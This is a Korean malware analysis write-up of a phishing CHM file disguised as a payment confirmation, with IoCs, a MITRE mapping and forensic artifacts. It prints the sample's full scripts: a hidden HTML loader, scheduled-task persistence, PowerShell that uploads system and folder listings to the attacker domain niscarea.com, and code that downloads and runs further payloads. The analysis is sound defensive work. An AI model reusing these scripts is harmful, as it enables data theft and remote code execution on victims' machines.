Analysis of *.chm malware

*.chm 파일은 윈도우 도움말을 띄워주는 것으로 잘 알려져 있다. 하지만 공격자들은 *.chm 파일에 스크립트를 삽입해 악의적인 목적으로 사용하기도 한다. 본 글에서는 악성 *.chm 파일의 유형을 구분하고 샘플 파일을 분석한 내용에 대해 설명한다.

1. *.chm Malware?

1-1) 개요

*.chm(Compiled HTML) 파일은 컴파일된 HTML Help 파일로, 윈도우 도움말로 잘 알려져 있다. Microsoft에서 만든 독점 형식이며 *.chm 파일에는 도움말 파일을 검색하고 보는 데 사용되는 HTML 페이지, 이미지 및 목차와 기타 탐색 도구가 포함되어 있다.

도움말 파일은 소프트웨어 응용 프로그램에 대한 온라인 도움말, 교육 가이드, 대화형 책 등에 주로 이용된다. *.chm 파일은 아래 프로그램을 통해 실행된다.

  • hh.exe (microsoft® html help executable program)

*.chm 파일은 스크립트를 포함할 수 있어 악성코드로 사용되는 경우가 빈번하게 발생하고 있다. 그리고 파일을 실행했을 때 악성 파일을 피해 시스템에 생성하는데, 이 과정에서 사용자에게 정상적인 내용을 담은 창을 보여주기 때문에 악성 파일임을 인지하기 어려운 특징이 있다. 파일의 전파 경로는 주로 메일의 첨부파일로 오는 경우가 많다.

실제로 *.chm 파일을 활용한 공격이 최근 다수 발생하고 있어 KISA에서 2024년 4월 2일, 관련 공격에 대해 주의할 것을 공지하기도 했다.

보안공지 > 알림마당 : KISA 보호나라&KrCERT/CC
보안공지 > 알림마당 : KISA 보호나라&KrCERT/CC

1-2) *.chm 파일 공격 유형

*.chm 파일은 내부에 악성 파일을 포함하고 있는 경우와 그렇지 않은 경우로 구분할 수 있다.

악성 파일을 포함하고 있는 경우

  • 일반적으로 hh.exe 프로그램의 -decompile 옵션을 이용해 *.chm에 포함되어 있는 파일을 피해 시스템에 생성하는 코드가 html 파일에 포함되어 있으며, *.chm 파일을 실행할 때 자동으로 동작한다.

악성 파일을 포함하지 않는 경우

  • 셸 명령어를 통해 원격지에 있는 악성 파일을 피해 시스템으로 가져온다.

위 과정은 아래의 공격 행위로 이어질 수 있다.

  • 스크립트 파일을 이용한 악성 행위 수행
    • 악성 행위를 수행하는 스크립트(vbs, bat 등) 파일을 생성하고 스크립트 실행
  • DLL 하이재킹 기법을 이용한 악성 행위 수행
    • 정상 프로그램과 악성 dll을 생성하고 정상 프로그램을 실행하는 과정에서 악성 dll을 로드
  • 실행 파일을 이용한 악성 행위 수행
    • 악성 행위를 수행하는 실행 파일을 생성하고 실행
[그림 1] 악성 *.chm 파일의 주요 동작 과정

1-3) 분석 샘플 정보

분석 대상 악성코드 샘플은 MalwareBazaar 사이트에 업로드되어 있는 *.chm 악성코드 중 최근에 식별된 파일을 선정했으며, 내부에 악성 스크립트 파일을 포함하고 있다. 해당 파일은 paymentconfirmation.chm 이라는 파일명으로 배포되었다.

  • MD5 : 2548d0e05c47c506cf9fd668dace5497
  • SHA1 : 8ac21a35158ba9ebf80493bdb8cf8eb81386a02b
  • SHA256 : fd47c8418d9f8ed39f2f746042c982ac53a788cace370ae8906aecc8c228deeb
[그림 2] 분석 대상 Sample 정보

2. *.chm 악성코드 샘플 동적 분석

2-1) 악성 chm 실행 모습

[그림 3] 악성 chm 샘플 실행 모습
[그림 4] 악성 chm 샘플 실행 후 C:\Users\Public\Libraries 경로 변화

악성 chm 파일을 실행한 모습은 위와 같다. chm 파일에 포함된 파일들과 명령어가 실행되고 난 뒤, 피해자 시스템의 정보가 포함된 텍스트 파일이 생성되는 것을 알 수 있다.

생성 파일 목록

chm 압축 해제 결과 파일

  • index.html
  • emlmanager.vbs
  • background.png
  • 1295049.bat
  • 2034923.bat
  • 3059602.bat
  • 4959032.bat
  • 5923924.bat
  • 9583423.bat

피해자 시스템 정보 수집 결과 파일

  • desk.txt
  • desk.txt.enc
  • desk.txt.zip
  • down.txt
  • down.txt.enc
  • down.txt.zip
  • sys.txt
  • sys.txt.enc
  • sys.txt.zip
  • tsklt.txt
  • tsklt.enc
  • tsklt.zip

[그림 5] C:\Users\Public\Libraries 경로 파일 삭제 모습

프로그램이 동작하고 나면 생성되었던 파일 중 일부가 삭제되는 것을 확인할 수 있다.


3. *.chm 악성코드 샘플 정적 분석

[그림 6] 악성 chm 샘플 파일 압축 해제 결과

chm 파일은 7z을 이용해서 내부 파일을 확인할 수 있다. 샘플 파일에 포함된 파일을 확인한 결과는 위와 같다.

3-1) index.html

<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Payment Confirmation</title>
  </head>
  <body>
    <div style="text-align:center;">
      <img src="background.png">
    </div>
    <div id="content1" style="display:none;"></div>
    <object id=r classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1 style="visibility:hidden;">
      <param name="Command" value="ShortCut">
      <param name="Button" value="Bitmap:shortcut">
      <param name="Item1" value=",cmd,/c start /min cscript C:\Users\Public\Libraries\emlmanager.vbs">
      <param name="Item2" value="273,1,1">
    </object>
    <script>
      var a = window.location.href;
      var b = a.lastIndexOf("::");
      var c = a.indexOf(":\\");
      var d = a.substring(c - 1, b);
      var value1 = ' < object id = f classid = "clsid:52a2aaae-085d-4187-97ea-8c30db990436"
      width = 1 height = 1 style = "visibility:hidden;" > < param name = "Command"
      value = "ShortCut" > < param name = "Button"
      value = "Bitmap:shortcut" > < param name = "Item1"
      value = ",hh,-decompile C:\\Users\\Public\\Libraries '+d+'" > < param name = "Item2"
      value = "273,1,1" > < /object>';document.getElementById("content1").innerHTML=value1;f.Click();var s=new Date().getTime();while (true){if (new Date().getTime()-s>2000){break;}}r.Click();
    </script>
  </body>
</html>

index.html

chm 파일을 실행하면 위의 index.html 파일을 먼저 실행하게 된다. 납부확인증 그림인 background.png를 화면에 출력하여 사용자로 하여금 정상적인 파일로 인식할 수 있도록 위장한다.

이어서 Windows에 내장된 hh(Microsoft HTML Help Workshop) 도구를 이용해서 C:\\Users\\Public\\Libraries 경로에 chm 파일의 압축을 해제하는 기능을 object id f로 설정하고, f.Click() 함수를 통해 실행한다.

이어서 2초 뒤, cscript를 이용해 emlmanager.vbs를 실행하는 cmd 명령어를 실행하도록 설정한 object id r을 r.Click() 함수를 통해 실행한다.

[그림 7] background.png

3-2) emlmanager.vbs

Set fyhn = GetObject("winmgmts:win32_ProcessStartup")
Set plrn = fyhn.SpawnInstance_
plrn.ShowWindow = 0
uhex = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set axju = GetObject("winmgmts:win32_process")
sbbrd = axju.Create(uhex & "\2034923.bat", Null, plrn, pid)
Set axju = Nothing
Set plrn = Nothing
Set fyhn = Nothing

emlmanager.vbs

emlmanager.vbs2034923.bat 파일을 실행하는 기능을 수행한다.

3-3) 2034923.bat

@echo off
rem Rubick's 2034923
pushd "%~dp0"
schtasks /query /tn "SafeBrowsing" > nul
if %ERRORLEVEL% equ 0 (goto NORMAL) else (goto REGISTER)
:REGISTER
schtasks /create /sc minute /mo 2 /tn "SafeBrowsing" /tr "%~dp0emlmanager.vbs" /f > nul
:NORMAL
if exist "9583423.bat" (
	call 9583423.bat > nul
	del /f /q 9583423.bat > nul
)
set r=https://niscarea.com
call 4959032.bat %r% > nul
call 5923924.bat %r% > nul

2034923.bat

2034923.bat 파일은 emlmanager.vbs 파일이 2분 마다 동작하도록 작업 스케줄러에 등록한다. 이어서 9583423.bat 파일이 존재하면 호출한 뒤, 삭제한다.

그리고 4959032.bat, 5923924.bat 파일을 호출하는데 https://niscarea.com URL을 인자 값으로 전달한다.

해당 URL은 공격자가 피해자 시스템의 파일을 업로드하기 위해 생성한 도메인으로 볼 수 있다.

3-4) 9583423.bat

@echo off
pushd "%~dp0"
systeminfo > %~dp0sys.txt
timeout -t 1 /nobreak
tasklist > %~dp0tsklt.txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Desktop" /a/o-d/s > %~dp0desk.txt
timeout -t 1 /nobreak
dir "C:\Users\%username%\Downloads" /a/o-d/s > %~dp0down.txt
timeout -t 1 /nobreak
set l=https://niscarea.com
call 1295049.bat %l% "%~dp0sys.txt" >nul
timeout -t 1 /nobreak
call 1295049.bat %l% "%~dp0tsklt.txt" >nul
timeout -t 1 /nobreak
call 1295049.bat %l% "%~dp0desk.txt" >nul
timeout -t 1 /nobreak
call 1295049.bat %l% "%~dp0down.txt" >nul
timeout -t 1 /nobreak

9583423.bat

9583423.bat은 명령어를 통해 피해자 시스템에 존재하는 정보를 텍스트 파일로 생성하는 기능을 수행한다. 공격자는 시스템 정보(systeminfo), 프로세스 목록(tasklist) 그리고 바탕화면과 다운로드 폴더에 존재하는 폴더 및 파일 목록을 수집한다.

이어서 공격자 도메인 주소와 생성한 파일을 1295049.bat 파일을 호출하면서 인자 값으로 전달한다.

3-5) 1295049.bat

@echo off
pushd %~dp0
set "l=%~1"
set "f=%~2"
set n=3
powershell -ep bypass -command
"
Add-Type -AssemblyName System.IO.Compression.FileSystem;
$l='%l%';
$f='%f%';
$r=[DateTime]::Now.ToString('MM-dd HH-mm-ss');
$c= [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($env:COMPUTERNAME));
$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';
$z=$f+'.zip';
$e=$f+'.enc';
Remove-Item $z -Force;
Remove-Item $e -Force;
$t=$f.Substring($f.LastIndexOf('\')+1);
$h=[System.IO.Compression.ZipFile]::Open($z,'Create');
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($h,$f,$t);
$h.Dispose();
$b=Get-Content $z -Encoding Byte -Raw;
[Convert]::ToBase64String($b)|Out-File $e -Encoding ascii;Remove-Item $z -Force;
Remove-Item $f -Force;
$u=$l+'/in.php?cn='+$c+'&fn='+$r;
$w=New-Object System.Net.WebClient;
$w.Headers.Add('User-Agent',$a);
$w.UploadFile($u,$e);
Remove-Item $e -Force;
"

1295049.bat

1295049.bat는 인자로 전달받은 파일을 파워셸 명령어를 통해 공격자 서버로 업로드하는 기능을 수행한다. 먼저 전달받은 파일을 zip 파일로 압축한 뒤, zip 파일의 Raw Data를 Base64 Encoding을 통해 .enc 파일로 생성한다.

이어서 DESKTOP NAME을 BASE64로 인코딩하고, 동작 시간을 MM-dd HH-mm-ss 형태로 가져온 뒤, 생성한 enc 파일을 https://niscarea.com/in.php?cn={MM-dd HH-mm-ss}&fn={B64_COMPUTERNAME} 형태로 업로드 한다.

1295049.bat 파일이 동작하면서 생성된 zip, enc 파일은 삭제되어, 추후 스케줄러가 동작할 때 최신 정보를 지속해서 받아오려고 하는 모습을 볼 수 있다.

3-6) 4959032.bat

@echo off
rem == Hello EveryOne ==
pushd %~dp0
set "l=%~1"
powershell -ep bypass -command
"
$l='%l%';
$c=[Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($env:COMPUTERNAME));
$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';
$u=$l+'/?cn='+$c;
$w=New-Object System.Net.WebClient;$w.Headers.Add('User-Agent',$a);
$r=$w.UploadString($u,'ok')
"

4959032.bat

4959032.bat는 파일을 업로드 하는 것이 아니라 피해자 시스템의 {COMPUTERNAME} 정보만 공격자 서버에 업로드한다.

3-7) 5923924.bat

@echo off
pushd %~dp0
set "l=%~1"
set fn=alo293n20so
set n=5
del /f /q run.bat > nul
call 3059602.bat %l% "%~dp0%fn%.zip" > nul
if not exist "run.bat" (goto END)
call run.bat > nul
del /f /q run.bat > nul
:END

5923924.bat

5923924.bat3059602.bat를 호출하는데, 파일명으로 사용할 인자 값인 {SCRIPT_LOCATION FOLDER}\\alo293n20so.zip를 함께 전달한다.

그리고 run.bat 파일이 존재하면 호출하도록 작성되어 있는데, chm 파일에 run.bat 파일이 포함되어 있지는 않다. run.bat이 호출되고 나면 해당 파일을 삭제한다.

3-8) 3059602.bat

@echo off
pushd %~dp0
set "l=%~1"
set "f=%~2"
set n=4
powershell -ep bypass -command
"
Add-Type -AssemblyName System.IO.Compression.FileSystem;
$l='%l%';
$f='%f%';
$c=[Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($env:COMPUTERNAME));
$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';
$u=$l+'/out.php?cn='+$c;
$r=(Invoke-RestMethod -uri $u -UserAgent $a);
if ($r.Length -gt 32)
{
	Remove-Item $f -Force;
	$b=[Convert]::FromBase64String($r);
	[System.IO.File]::WriteAllBytes($f,$b);
	$h=[System.IO.Compression.ZipFile]::OpenRead($f);
	foreach ($e in $h.Entries)
	{
		[System.IO.Compression.ZipFileExtensions]::ExtractToFile($e,$e.FullName,$true);
	}
	$h.Dispose();
	Remove-Item $f -Force;
}
"

3059602.bat

3059602.bathttps://niscarea.com/out.php?cn={B64_COMPUTERNAME} 형식의 URI를 공격자 서버로 질의하고, 응답 메시지의 길이가 32 보다 크면 Base64 Encoding으로 변환 후 {SCRIPT_LOCATION FOLDER}\\alo293n20so.zip 파일로 저장한다. 이어서 생성한 압축 파일에 포함된 내부 파일의 압축을 해제하고 zip 파일을 삭제한다.

이는 피해자 시스템의 {COMPUTERNAME}을 제출했을 때 공격자 서버에서 해당 컴퓨터와 관련된 정보가 있는지 체크한 후, 추가 공격을 시도하기 위한 압축 파일 형태의 공격 파일을 응답 메시지로 반환하고 피해자 시스템에서 압축을 해제하는 것으로 추측된다.

앞서 5923924.bat 파일에서 run.bat를 호출했었는데, 이 과정에서 run.bat 파일을 피해자의 시스템에 다운로드하는 것으로 예상된다.


4. 아티팩트 변화

[그림 8] 작업 스케줄러 변화

악성 chm 실행 후 SafeBrowsing이라는 이름으로 작업 스케줄이 등록된 것을 알 수 있다. 해당 스케줄은 C:\Users\Public\Libraries경로의 emlmanager.vbs를 2분 간격으로 실행한다.

  • C:\Windows\System32\Tasks\SafeBrowsing
[그림 9] CSCRIPT*.pf 변화
[그림 10] HH.EXE*.pf 변화
[그림 11] POWERSHELL*.pf 변화

위와 같이 프리패치에서 공격 행위에 사용된 파일의 정보를 확인할 수 있다. 해당 pf 파일 외에도, TASKLIST*.pf, SYSTEMINFO*.pf 등 파일의 마지막 실행 시각 정보가 갱신되었다.

위와 같이 정상 프로그램의 프리패치 파일에 악성 파일 관련 데이터가 기록되어 있을 수 있으므로 분석 시 무심코 넘어가지 않도록 주의할 필요가 있다.

[그림 12] Powershell 이벤트 로그

파워셸 관련 이벤트 로그에서도 실행된 파워셸 스크립트를 400, 600, 800, 4103, 4104 EID 등으로 확인할 수 있다. 800 EID는 PowerShell에서 실행되는 명령의 파이프라인 실행 정보를 표시하는데, Add-Type cmdlet과 같은 명령어가 사용되었을 때도 로그를 기록한다.

  • C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx
  • C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

단, 스크립트가 난독화되어 있을 경우 Windows 기본 설정으로는 복호화된 로그가 기록되지 않기 때문에 Script Block Logging 설정을 해줘야 한다. 아래 글을 참고해보자.

PowerShell Version and Logging | Windows | dForensics Artifacts
(2) 파워셸 버전에 따른 로깅 차이

5. 결론

[그림 13] 악성 chm 샘플 파일 동작 과정

분석 대상 chm 파일의 주요 동작 행위는 위 그림과 같다.

공격자가 사용한 도메인인 https://niscarea.com/은 현재 폐쇄된 것으로 확인되어 정보를 확인할 수 없으며, 스크립트 분석을 통해 추측되는 사용 용도는 다음 표와 같다.

C2 Server URI Purpose
https://niscarea.com/?cn=... 피해자 시스템의 {COMPUTERNAME} 전송
https://niscarea.com/in.php?cn=... 피해자 시스템 정보 수집 결과를 저장한 파일 전송
https://niscarea.com/out.php?cn=... 피해자 시스템의 {COMPUTERNAME} 전송 후, 추가 공격 도구를 다운로드하는 것으로 추측

또한 이번 공격에 사용된 C2주소를 비롯해 공격 스크립트의 파일명이 동일하고, 스크립트 흐름이 거의 유사한 공격 사례가 있었던 것으로 확인됐다.

두 공격 사례에 사용된 chm 파일의 내부 파일을 비교한 결과, 공격자가 공격 스크립트의 코드를 일부 수정하고 background.png 파일을 공격 대상에 맞게 교체해 사용하는 것으로 보인다.

이번 글에서는 악성 행위를 수행하는 *.chm 파일의 공격 유형에 대해 알아보고, 최근에 발견된 파일을 선정해 동작 구조를 살펴봤다. 추후 또 다른 *.chm 악성 파일이 식별되었을 때, 이 글이 도움 되기를 기대하며 글을 마친다.


부록

MITRE ATT&CK

Tactics Techniques
Initial Access (T1566) Phishing
Defense Evasion (T1218.001) System Binary Proxy Execution: Compiled HTML File
Execution (T1204.002) User Execution: Malicious File
(T1059.005) Command and Scripting Interpreter: Visual Basic
(T1059.001) Command and Scripting Interpreter: PowerShell
(T1059.003) Command and Scripting Interpreter: Windows Command Shell
(T1053.005) Scheduled Task/Job: Scheduled Task
Discovery (T1083) File and Directory Discovery
(T1057) Process Discovery
(T1082) System Information Discovery
Collection (T1074.001) Data Staged: Local Data Staging
(T1560.001) Archive Collected Data: Archive via Utility
Command and Control (T1105) Ingress Tool Transfer
(T1132.001) Data Encoding: Standard Encoding
Exfiltration (T1041) Exfiltration Over C2 Channel

IoC

File Name IoC (MD5)
paymentconfirmation.chm 2548d0e05c47c506cf9fd668dace5497
1295049.bat 859700ae5a1a3302dc17063a6c9ee61b
2034923.bat b72cb01d8650a0a98bc8e62a86127ca0
3059602.bat d8eb9c484c9d5e1dd3c60cdd41323433
4959032.bat e585226bcbec086b268528489103a6d5
5923924.bat 0a8ce62791c48d70f5d31b290cfbeb32
9583423.bat 24f6323110ac1e57eee2b2dc74886460
background.png f070a3bd5efcced27baeae32ad25de36
emlmanager.vbs 07f1c2d7f5877dea5bd8225533b3d19e
index.html be0a4914e662724b7e924f35dce751c5
C2 Server URL
hxxps://niscarea[.]com
You've successfully subscribed to PLAINBIT
Great! Next, complete checkout to get full access to all premium content.
Error! Could not sign up. invalid link.
Welcome back! You've successfully signed in.
Error! Could not sign in. Please try again.
Success! Your account is fully activated, you now have access to all content.
Error! Stripe checkout failed.
Success! Your billing info is updated.
Error! Billing info update failed.